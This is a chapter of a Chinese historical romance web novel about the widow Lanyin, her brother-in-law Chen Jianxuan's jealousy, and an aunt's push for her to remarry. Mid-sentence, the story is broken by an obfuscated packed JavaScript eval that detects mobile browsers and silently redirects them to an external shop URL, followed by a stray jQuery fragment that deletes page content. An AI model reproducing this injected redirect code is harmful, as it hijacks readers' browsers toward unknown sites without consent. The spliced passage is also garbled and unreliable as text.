兰因是在天刚擦黑才到家的。
到了府门口,人还没从马车里出来,却听见外面有些动静,脚步声杂沓的,像是有很多人,有些嘈杂。
她掀开了车帘,看到周奉安正领着七八个人往侧门进,打头的男人领着几个男男女女进了陈家门。远远地,兰因瞅见其中几个女子鬓边簪着时令的绢花,有的怀中抱着琵琶,有的拎着琴匣。
像是……戏班?
周奉安瞅见兰因的马车,赶忙迎了上来。
“二公子……寻了戏班来吗?”她疑惑地开口道。
周奉安低头回禀,“是。二公子说,夫人爱看戏,不必去许家看戏,若有兴致,叫戏班来府中唱戏也是一样的。”
陈见玄似是很忙的,他忙着追查太子旧党的事情……这几日或许是知道她的心思,几乎不出现在她的视线。
周奉安作为他的下属,自然也不得闲,但却依然遵从陈见玄的意思,仔细寻来戏班子给她。
兰因攥紧了绣帕,顿时心乱如麻,视线又往那戏班子来回寻视了一眼。
她是爱看戏的。旁人不知道,与她性子相反的是,她不爱看情意缠绵的戏,尤其爱热闹的戏……许是自己的人生太过寂寥了罢……
但少有人知道她爱看戏,自成婚以后更没有了,也没人会在乎这些小事……
她白日里去许家看戏,晚上他便嘱咐人找好了戏班子来家里。
她心中五味杂陈,他待她好,她知道。
兰因是知恩的,她承认她是有些动容的……从小到大,待她好的人不多,除了她娘,便只有陈见辞……所以但凡有人待她好,她恨不得把心掏出来回报……
“其实……不必……”兰因低声与周奉安道。
周奉安依旧没抬头,语气颇为为难道,“夫人……这话您不如当面和二公子说,我们这些做下人的……实在是……”
兰因闻话,许久点了点头,也没执意要他把戏班遣送回去。
夜晚,用了饭,陈见玄依旧没回来,他比她想象中的还要忙……兰因在屋内仍做刺绣。
从大狱出来那天之后,他倒是没再提她刺绣的事。兰因也摸不清他的态度:到底在不在乎自己做绣品扫了陈家的颜面。
他不说,兰因悄摸摸地当什么都没发生一样,依旧和云锦绣坊来往,依旧做着绣活,依旧背着他偷偷攒着银钱……
但他却管了其他的事……
比之先前的是,她小气巴拉地夜里只肯在屋里点一盏蜡烛,自从大狱里出来后,她这院子便被陈见玄改了规矩。
不再是往日昏暗的房间:天刚擦黑,丫鬟们便依着二公子的吩咐,把屋里屋外点得亮堂堂的,往日没有一丝人气的孤寂寥寥的房内,不知何时也热闹了起来,多了几分烟火气……
兰因做绣活做累了,脖子有点酸。她抬起头来,看见的便是屋内屋外亮堂堂的烛火……
她眼睛有些酸……她说不清是什么,或许是做活计做得久了才眼酸……
她看着亮堂堂的烛火……总会忍不住地去想起……
她赶忙止住了那个念头,垂下头,用帕子擦了擦眼角的泪,再抬头时……
她就看见了他……
不知何时,他已经站在了她面前。
兰因睁大了眼睛,怔在原地许久没回过神来。
“你……”
陈见玄脚步轻,又经常神出鬼没的。
兰因还是第一次见他穿官服……他素来是不喜穿官服的,他觉得不自在,所以一到家里,他就会很快脱掉官服,换上便服。
但今日回来晚了,许是着急,所以并没来得及换掉。
此刻卸了官帽在手上,着一身赤红色的蟒袍裹在身上,像是裹了一层暗火。满朝文武,穿赤红官服的不止他一个,但唯独能在袍上绣蟒的,独他一个。
兰因第一次对他的位高权重有了认知。
金色的蟒在他胸前盘旋居中,红色映衬着他的脸色,显得他俊逸出尘,但他的身躯却又那般宽阔雄浑……少年和男人的气韵交织在一块,矛盾又迷离……让她一时忘记说话……
似是察觉到她在看他,陈见玄微微抬起下巴,脸上带着得意的笑,“好看吗?”
兰因被惊醒,赶忙低着头不说话。
他不在意,自顾自地在她面前坐下。
他闯进她的院子不是一回两回了,兰因说过几次,但他根本不在乎,也不会听。
渐渐地,兰因也习惯了。她也管不了他。
“今日去了许家?”陈见玄说话,眼神却盯着她,烛火的映衬下,她白嫩嫩的耳朵不知何时爬上了红晕……
“……嗯。”
陈见玄未必不知道陈家二姑的心思,“她让你做什么?给许铮求个官职?”
“……嗯。”兰因点了点头。
陈见玄一副早就料到了的表情,“你若不想去就不去,别顾忌想得太多……”
他不会给许铮求官职。也谈不上对陈家二姑当年的袖手旁观的记恨……两人当时相依为命的时候也没想过去求许家施舍两升米……
他对感情向来淡薄,他不需要别人在意可怜他,他也不在意可怜别人,他冷心冷肺,从不以血缘论关系亲疏……
他心太小,装不下太多人。陈家二姑于他来说,与路上的陌生人没什么分别。
心里的人只顾着在那儿刺绣,也不说话,陈见玄没话找话,“她还说了什么?”
绣花针刺破了她的食指,不一会儿有豆大的血珠从中间溢出,她动作很轻,随意碾过去,没让他看见。
半晌,她开口道,“二姑说……想让你与婉宁见见……”
她说得很保守,顾忌着女儿家的面子,但明眼人都知道那是什么意思。
陈见玄眼神瞬间冷了下来,屋里的气氛一下子降到了冰点。
屋里再亮堂堂也压不住他的阴翳,他死死地盯着她的脸,在极力压抑着什么,试探问道,“那你的意思?”
兰因紧咬凉浸浸的唇,直到痛感传来。像是不知道他在发怒的边缘,“见见也好,你也大了,总要成家,二姑是自己人,比……”
“砰”的一声,打断了她的话。男人从椅子上站了起来,手掌拍在桌子上,重重的声音,像是要劈碎什么东西。
剧烈震动的声音唬得她一跳!
再抬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702033|208205||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
起眼眸,陈见玄已经走了。
被气走的……
他走了之后,整个屋子都静悄悄的。
过了许久,“啪嗒”一声,眼泪滴在了活计上……
啪嗒啪嗒的,像雨点子似的落了下来。
脏了活计会耽误工期,兰因赶忙把活计放在一边。
晚上有风吹过来,木头似的人像是有了点活气,她一个人趴在桌子上,小声地哭了起来……
……
陈家二姑那儿并未把心思藏太久,她邀请兰因去了两三回,回回都有赵诵在那儿。
兰因就是再傻,也能察觉出点什么。
“兰因啊……”她不再唤她“大郎媳妇”,而是一口一个闺名唤着,“是我大侄子没福气……唉……可是你年纪轻轻地守了寡……孤苦伶仃的……”
她拉着她的手,一如往常那般亲密,“二姑看着实在心疼,你若是有个孩子……二姑也不会操心这个事儿……”
“那赵家哥儿是真心实意求到我跟前儿,娶你回去做正头娘子!虽说赵家哥儿论家世比不上陈家,可他有家资,衣食不愁,人又长得端正斯文,还是个进士。”
她佯装叹了一口气,“可比我家铮儿厉害多了……”
兰因坐在那里,手被陈家二姑紧紧地握着,只觉得那双手热得发烫,她下意识想抽回去,却怎么也抽不回来。
二姑的话一句一句地递进来,她听着,没有点头,也没有摇头,只是垂着眼眸,看着手腕上的玉镯。是二姑那日亲自给她戴的。
她也不知道自己为什么会想到这个。
“兰因?”二姑唤了她一声。
兰因抬起头,脸上没有陈家二姑期待的羞涩,也没有抗拒。只是一片很淡很淡的茫然。
“……二姑。”她开口,声音很轻,“我从来没想过这些。”
这是实话。
她确实没想过。从十八岁嫁进陈家,到守寡,到抄家,到和陈见玄相依为命,再到如今。
她谨遵着她爹的命令,做一个贤妇。她从来没想过“改嫁”这件事。不是不想,是从来没想过。
她的人生像是一条被规定了流向的河,河岸是父亲划的,再后来是自己。她在河道里安安分分地流着,从未想过要漫出去。
“从前没想过,现在想想也不晚。”二姑拍了拍她的手,语气愈发慈爱,“赵家哥儿你也见过几回,你们在茶坊借伞,在园子里听戏,这都是缘分。这世上哪来那么多天定的缘分,不过是两个人合适,互相敬重,日子便过下去了。”
缘分。
兰因听到这两个字,心里好像有什么东西被轻轻地拨了一下。
那日在许家的竹林里,赵诵似乎说了句什么,她没听清。
也许是听清了,也许是没听清。
“他是个好人。”兰因低声道。
他和陈见辞很像,气韵像,性格也很像,温润有礼,进退有度,从不让她觉得为难。
她每次见他,都像是隔着一层薄薄的纱帘说话,安全,妥帖……
不会像……
突然想到……兰因心底猛地一惊,赶忙把那个念头压了下去。